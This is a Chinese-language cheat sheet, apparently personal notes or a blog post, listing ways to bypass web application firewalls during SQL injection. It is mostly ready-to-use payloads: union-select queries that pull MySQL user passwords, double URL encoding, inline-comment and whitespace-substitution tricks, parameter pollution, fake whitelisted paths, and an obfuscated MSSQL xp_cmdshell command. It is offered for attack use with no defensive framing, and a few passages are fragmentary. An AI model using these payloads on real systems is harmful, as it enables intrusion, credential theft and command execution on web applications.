绕过waf的方法:
1.白名单、2改变请求方法、3.大小写绕过 、4.url编码绕过、5.组合绕过、6.复参数绕过
7.双写绕过、8.waf特性(可在关键字中,)9.内联注释绕过、10.特殊字符换空格(//、/|%23--%23%|/、/!%aa*/、%0a) 、11.特殊字符+拼接 、12.分块传输 、13.使用其他变量或命令进行替换
如何绕过云waf:
1.利用brupsite的插件bypasswaf添加请求头
1、白名单绕过
(1).伪造user-agent头,或者使用火狐插件User Agent Switcher
*使用brupsute替换user-agent头:
*批量换user-agent:
(2).伪造白名单特殊目录
360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截。
例子:比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user
可以改为:
www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user
或者
www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user
现在需要自己添加白名单目录进行配置。
2、大小写绕过
sql.php?id=1 And 1=1
3、双写绕过注入(关键字被过滤的情况下可使用)
sql.php?id=1 anandd 1=1
4、编码绕过注入
将注入语句关键字使用url编码2次,服务器会自动给url进行一次url解码。例如:sql.php?id=1 %25%36%31%25%36%65%25%36%34 1=1(对and进行两次编码)
5、内联注释绕过注入
/*!*/是mysql特有的注释方式,意为不注释掉里面的内容。
sql.php?id=1%20/*!and%20*/%20-1=-1
6、修改请求方式绕过
可以将get请求方法修改为post和cookie。waf默认是post和cookie是关闭状态。
可以在brupsite进行修改。
7、复参数绕过
正常写法是sql.php?id=1 And -1=-1
复参数的写法是:
sql.php?id=1 &id=and&-1=-1
8、特殊字符替换空格
在mysql中使用%0a代替空格。
在sqlserver中使用/**/ 代替空格。
/*|%23--%23|*/代替空格:
/*%!aa*/也代表空格
%在sql里面是任意字符的意思,也就是/*和!之间假如有字符,它就不会执行这个内联注释里面的内容,被认为是普通的注释
9、特殊字符拼接 +
mssql可以使用"+"把特殊字符拼接起来绕过waf的检测。
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
10、利用WAF本身的功能绕过
把"*"替换为空 (waf规则不同)
uni*on+sel*ect+1,2,3,4....
或者其他的方法:
11、使用其他变量或者命令对 注入语句进行替换 COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
= | like
or 1=1可以替换为 or MOD(8,1) in 1
12、组合方法:
1、 关键字替换法+URL编码
正常写法:sql.php?id=1 and -1=-1 (将and替换为&&在进行url编码)
替换后:sql.php?id=1 %26%26 -1=-1
1.利用()代替空格
2.利用mysql特性执行语句
3.利用混淆代码
我给出的注入语句是:
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1, user(),(database/**/()),4,5
http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5
这里要注意的几点是:
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00
3、内联注释+替换空格法
sql.php%20?id=1%20/*!union*//*%!aa*//*!50010select*/%20(database/**/()),(user/**/())
13、分块传输
在brupsite抓包之后发送到重发器,选择变更请求方法。
在请求头中添加下面内容:
Order by 可以改为group by或group by()去绕过 。
14.使用brupsute的插件bypasswaf 添加请求头(可过云waf)
或者在路径前加上随机路径../